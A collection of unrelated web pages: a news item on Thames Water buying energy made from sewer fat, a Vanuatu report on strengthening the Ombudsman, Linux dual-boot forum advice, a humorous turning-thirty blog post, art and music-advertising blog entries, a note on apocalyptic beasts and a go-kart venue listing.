UK utility company 2OC has signed on with Britain's largest water company, Thames, to collect fat wastes, which will then be converted into energy. In the 20-year deal Thames pledges to utilize the renewable energy for half of all their operations. This percentage is furthermore expected to increase with time.
In particular, they will derive energy from oils, fats, and greases – all of which are key instigators in sewer blockage. Thus, not only will their use provide renewable energy sources, it will also rid the city of congested pipes, allowing for more efficient operations.
Methods for harvesting the fat waste include scourging sewers for fat waste and collecting the leftover oils and fats from restaurants. Power output will come from the company's Combined Heat and Intelligent Power plant, a name often condensed to CHiP. The resulting 130 Gigawatt hours (GWh) has the potential to power 40,000 homes. In addition, Thames will purchase 75GWh of the energy generated to power their sewer operations and desalination plant.
Of course there has been much experimentation with waste materials other than solid wastes, as with the search to find energy-generating properties in urine. But despite the news of a urine-powered generator, there have been a few debates on whether any merits of this device actually stem from the implementation of the urine itself. Going by the arguments of one speculator, it would seem the concept of energy derived by biological excrement of the urethra varies little from hydro-generation. Adhering to the proposed filtering process, it is the hydrogen extracted from the urine that harbors its energy producing properties. The urea being of no apparent value in the context of this particular argument, this theory would imply the urine's value come from its water content. The speculator going on to infer that splitting this water into hydrogen would require a greater input of energy than is gained.
Returning to the value of urine's nutrients, however, it should be said that urea, though rendered useless in such criticisms, can function as a fuel additive, and is sometimes used in place of nitrogen as a nutrient in the production of micro-algae bio-fuel.
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Vanuatu Head Of State Calls For Ombudsman To Have Greater Authority
Current role of investigation, documentation is useful, not sufficient: Lonsdale
By Jonas Cullwick
PORT VILA, Vanuatu (Vanuatu Daily Post, June 23, 2016) – The Head of State, President Bauldwin Lonsdale, has called on the Government to strengthen the Office of the Ombudsman of Vanuatu to give it adequate powers to implement the Leadership Code Act.
He says that since the establishment of the Office of the Ombudsman the country has benefited immensely from information and exposures of the "corrupt practices of our leaders."
"Whilst the office is viewed as the watchdog on corrupt dealings of the leaders, to both the public and the private sector, the Office of the Ombudsman does not have the powers to take the corrupt practices of leaders beyond investigation and documenting them," President Lonsdale adds.
"The Office of the Ombudsman was established through an Act of Parliament to institute and provide oversight on the implementation of the Leadership Code Act, to ensure that national leaders perform their functions in a way that is good."
The Head of State made the call last week at the opening of the First Ordinary Session of the Parliament.
"Since we are talking about the need for changes, I am calling on this Government to take up this challenge and strengthen the Office of the Ombudsman and the Leadership Code Act to ensure the effectiveness of both the office and the law," he says.
"The Government spends a lot of money recruiting and employing an Ombudsman and his staff, but many times much of their investigations are considered on documents as just for viewing.
"Given the past experiences seen of leaders who abused their powers, I am calling on this Government to empower the Ombudsman Act to enable the Ombudsman to be able to pass his reports to the Office of the Public Prosecutor to prosecute offenders for malpractices identified in investigations."
President Lonsdale adds that if the Office can do this then it will be fulfilling its role as the watchdog of the country.
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As far as I know, any Linux distro when installed correctly (not really hard)...
As far as I know, any Linux distro when installed correctly (not really hard) will also install a boot loader which will give you a choice to allow you to log into Windows or Linux.
Pretty much any linux distro install can be configured to do what you ask....
Pretty much any linux distro install can be configured to do what you ask.
Basic steps are back-up/resizing windows partition to make room for linux install and configuring linux bootloader to boot windows.
Many of the more popular distros will have scripts and aids to help automate the process for you.
First thing you need to do is decide which linux distro is right for you and your hardware. Lots of distros have live images that can be downloaded and installed on cd/dvd/usb stick so that you can try them out before installing them. Check out distrowatch.com for descriptions and download pages of hundreds of different linux distros. They have a search tool allowing you to narrow down your options based on user experience level and type of distro.
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Managers make tough calls every day. The issues and conflicts that come up while managing a business are complex and complicated by ever-changing government regulation. Mistakes are bound to be made, putting your company at the risk of being sued.
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5 Tips For Turning 30
by Gordon White • • Featured, Life Skills
It finally happened.
Despite the best efforts of goats' cheese, the gypsies outside Gare du Nord, a rudderless Republican party and possibly you, I turned thirty on the weekend.
All in all I feel pretty good about it. In fact, when my father got up to drunkenly say some nice things about me which I immediately followed by drunkenly saying nice things about everyone else in the room we both agreed on something.
It's just a number.
This is not how I saw it at the beginning of the year. But having sailed through relatively unscathed (except in terms of weight gain, liver damage, fatigue and expense), there are a few tips you may appreciate.
1. Respect Your Craziness
A friend in New Zealand, someone I respect more than most people I have ever met, told me that she freaked out when she hit thirty. She left her partner minding their kid and vanished off to the Gold Coast on her own for a few days. She spent them by the pool drinking cocktails and quietly freaking out. (To be honest, that was my Plan B.)
Like all humans, I freak out less when I can maintain the complete delusion that I am in any way in control of life -mine or others.
We achieve this sleight of mind by planning furiously for six months.
Planning tricks your brain. Whenever you realise that thirty is bearing down on you, you start to feel anxious but then you start to really panic because there is so much planning that needs doing.
By the way, this is my theory as to why men freak out more than women in the lead-up to their wedding day. Because the bride to be has been able to distract her mind with floral arrangements and how to keep her slut of a cousin away from the married groomsmen.
If you know you're going to freak out, start planning like an OCD-sufferer on the run from the law right now.
2. Marry Yourself
If you follow suggestion 1, you'll see the marriage metaphor was chosen not just for hilarity's sake but because flying a few dozen of your nearest and dearest to a remote, unfamiliar, picturesque location for a weekend of eating, drinking and shame is exactly what a wedding is like.
So think of it like marrying yourself. (Note: This is the only possible way I could marry beneath myself.)
In effect, this is your opportunity to be unique and do what you want to do. Gifts, however much I enjoy giving them, are nothing compared to good company somewhere carefully chosen. So happy engagement to you!
3. Get Lost
New locations are wonderful.
Your brain is taking in new information which means it's less likely to betray you.
Also, new, distant locations mean people (mostly) confirm attendance well in advance. It also leads to heightened interest, especially if you can get people involved early on. (I got mine to choose their amazing, delicious food in advance.)
Basically, turn thirty somewhere new. It's something you only do once per incarnation, anyway.
4. You're Going To Need A Bigger Boat
Always, always go for the bigger boat. It
- Reduces the risk of death by giant, crazed shark
- Allows you to do things like picnic at a stone circle in large groups
We had the rental choice between a large minivan or two sedans. I was initially hesitant about the large van because Somerset's roads were built for horses and carts. Plus I was presumably going to be driving it back into London traffic the weekend of the Glastonbury Festival while being massively hungover/still drunk.
But no. We went for the van. It was fun. Muppet fun.
The other meaning of 'bigger boat' in this case is a strong advisory to scale people's involvement.
Some people joined us from the other hemisphere. But there were also those who made it just for the lunch.
You get a much better attendance if you allow people the option to get as involved as they want. No one likes stag weekends being forced upon them. Same for Gordonmases.
5. Know The Best People In The World
There are 24 castle-enthusiasts in the world willing to travel from all over the planet to drink near me while I slip into my third decade. That's frankly amazing and possibly my best achievement in the last thirty years. (A quick glance at the trophy cabinet would indicate this really isn't saying much but it is.)
Thank you to everyone who came. For those of you that didn't, just like it says in the Bible, may you too find your own 24 castle-enthusiasts.


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Saturday, January 31, 2015
More Valentines
Labels: birthdays, families, festivals, hearts, pink, red, Romanticism, San Francisco, Valentines
Valentine Birthday
The best birthdays that I have are the ones that coincide with a family Valentine-making party, as happened today. Mabel was so rich in ideas for Valentines that she was able to help Grandpa with his Valentines at the same time that she was making her own Valentines. And in addition to that, she was gathering and sorting the Valentines of all five makers into separate piles in a safe place away from the mayhem of the work table.
I scanned Mabel's Valentines first, and others will appear soon. The florescent orange dot-stickers were popular with everyone, but it turns out the scanner cannot read that particular color (and I offer this explanation especially for Mabel, who will be the first to notice).
Mabel also conceived the heart-shaped chocolate birthday cake with red icing. She fashioned the pipe cleaner decoration on its top herself, but Grandma in her kindness and creativity actually executed this cake-plan in her own kitchen and was able to present the astonishing-looking and delicious confection seen below.
When the Valentines were done, the birthday party started, with singing and candles and cake and presents, many presents. Mabel gave me three pipe-cleaner people (one large, two small) along with several other pipe-cleaner sculptures in almost every color there is. She folded them inside heavy red paper and with her own hand in all-capital letters wrote HAPPY BIRTHDAY like a banner across the present.
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Labels: birthdays, daughter, families, festivals, gold, granddaughter, grandmothers, hearts, San Francisco, Valentines, winter
Friday, January 30, 2015
Raphael and After
Christ in Glory
c. 1519-20
Figure with Axe
c. 1512
Hercules & Hyrdra
c. 1508
Hercules & Nemean Lion
c. 1508
Leda & Swan
c. 1507
Crouching Figures
c. 1513-14
study for Parnassus
c. 1509-10
study for Miraculous Draught of Fishes
c. 1514
study for Christ's Charge to Peter
c. 1514
study for Massacre of the Innocents
c. 1510
The drawings above are autograph works by Raphael himself, according to curators at the Royal Collection. The drawings below were made (like yesterday's images) by later copyists.
|after Raphael
Jonah and the Whale
c. 1520-23
|after Raphael
Angel from Heliodorus fresco
Labels: artists, black and white, Italy, religion, Renaissance, Rome, sepia, tradition
Thursday, January 29, 2015
After Raphael
|from The Judgment of Solomon
Carlo Maratta (1625-1713) became the most prominent artist of the Roman baroque, following the death of Bernini in 1680. To modern eyes Maratta's painting-style can seem predictable and mechanical, but the quality of his drawings is astonishing. All examples here are from an album in the Royal Collection, acquired in Italy for George III. In this series of drawings, Maratta isolates figures and costume-details from the frescoes and paintings created in Rome by Raphael at the beginning of the 16th century. The originals were already about 150 years old at the time when Carlo Maratta sat down to copy them.
|Justice (with ostrich)
|from The Mass at Bolsena
|Reclining nude
|from The School of Athens
|from The Crossing of the Red Sea
|from The Disputa
|from The Disputa
|from The School of Athens
|Sacrifice of Abraham
|from The School of Athens
|Temperance (with bridle)
|from The Transfiguration
Labels: artists, baroque, black and white, frescoes, Italy, religion, Renaissance, Rome, tradition
Wednesday, January 28, 2015
Fountains at Juvisy
|Fountains at Juvisy
Albumen silver prints by Eugène Atget (1857-1927). The photographs were taken in the first part of the twentieth century, mainly in Paris and in the former royal parks near Paris.
|Hôtel de Brinvilliers
|Versailles - Petit Trianon
|Versailles - Grand Trianon
Images from the Getty Museum.
Labels: black and white, dragons, fountains, French, Los Angeles, museums, Paris, sepia, staircases, statues, trees
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According to the word of St John, there are Four Beasts of the Apocalypse, but only three of these are described in any detail. Beast Number 1: An ocean dwelling nightmare, who rises from the sea with seven hydra-like heads, complete with a lion's jaw, the body of a leopard, and the feet of a bear.
Beast Number 2: An subterreanean earth beast, similar in appearance to Beast Number 1, but with a single horned head. Beast Number 3: Is called the Scarlet Beast, shares its appearance with the other two beasts but is red in colouration.
There are in fact numerous other Apocalyptic beasts referred to in the Christian Bible, some of the most well known would be The Leviathan and Behemoth.
In addition to these beauties we have the four horses of the Apocalypse. Which are four enormous horses, a white, black, red and pale horse, each representing conquest, famine, war and death respectively.
Then there is the Tetramorphs, a combination of a man, lion and eagle and ox. The tetramorph is the amalgamation of the symbols of the Four Evangelists from the Book of Ezekiel, into a single figure or, more commonly, a group of four figures. Each of the four Evangelists has a creature, usually shown with wings: St Matthew the man, St Mark the lion, St Luke the ox, and John the eagle.
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So there you have it some Apocalyptic Beasts, for you to muse over.


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How To Make It in America
April 19, 2010
How to make it in America is a new comedy/drama series from the producers of Entourage created for HBO®. It follows two twenty-somethings from Brooklyn as they hustle their way into the NYC fashion scene. What got me into this show is the excellent intro. With music from Aloe Blacc (I Need a Dollar), the opening sequence is energetic, colorful, vibrant, hip, cool — everything NYC is about.
As soon as I know more about the credits for this intro, I'll update this post. In the meantime, enjoy.
You can you download the full version of I Need a Dollar here.
Another one bites the dust
November 10, 2009
Best use of music in a commercial.
I'm not sure if this ad won any awards, but as far as I'm concerned, this is one of the best uses of music in a commercial. I can't remeber when this ad came out, but I remember it well and remember what company made it — AIWA. Isn't that what ads are for?
Clebrate originality. Adiddas ad.
May 15, 2009
This is one of my favorites brands. One of the few company logos I wear on my chest. Puma is probably another one. Funny that these two companies are from the same family. Literally. Read here.
My favorite Adidas are Stan Smiths (the original green tag) and the very cool Gazelles. For soccer, nothing is better than the classy Copa Mundial.
So onto the ad. Created by Sid Lee Agency and shot in Beverly Hills. Some of the talent you will see here are: Kevin Garnett, David Beckham, Russell Simmons, Missy Elliott, Young Jeezy, Katie Perry — I wonder how much money they paid for this. If you like the music, this song was originally done by Frankie Valli, called Beggin. Remixed here by DJ Pelooski. Thanks to adgoodness for the post. If you want to hear other proposed versions of music for this ad, check out Boogie Studios. Thanks to Bernoi Martel for the link. Enjoy.


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Serving hand tossed pizzas & subs daily.
Weekday lunch specials, event catering,
beer & wine available
Join our ever growing community and benefit.
We believe birthdays should be celebrated!
Member Options
Picture ID is required in order to sign our waiver and operate 9hp "adult karts". Anyone under 18 must have their parent sign a waiver on their behalf. Check the "Junior Racing" page for details. Everyone must wear closed toed shoes.
3455 Harper Road, Indianapolis, Indiana 46240, United States
Monday - Thursday ~ 11 AM - 10 PM
Friday & Saturday ~ 11 AM - 11 PM
Sunday ~ 11 AM - 8 PM
*Call ahead for track availability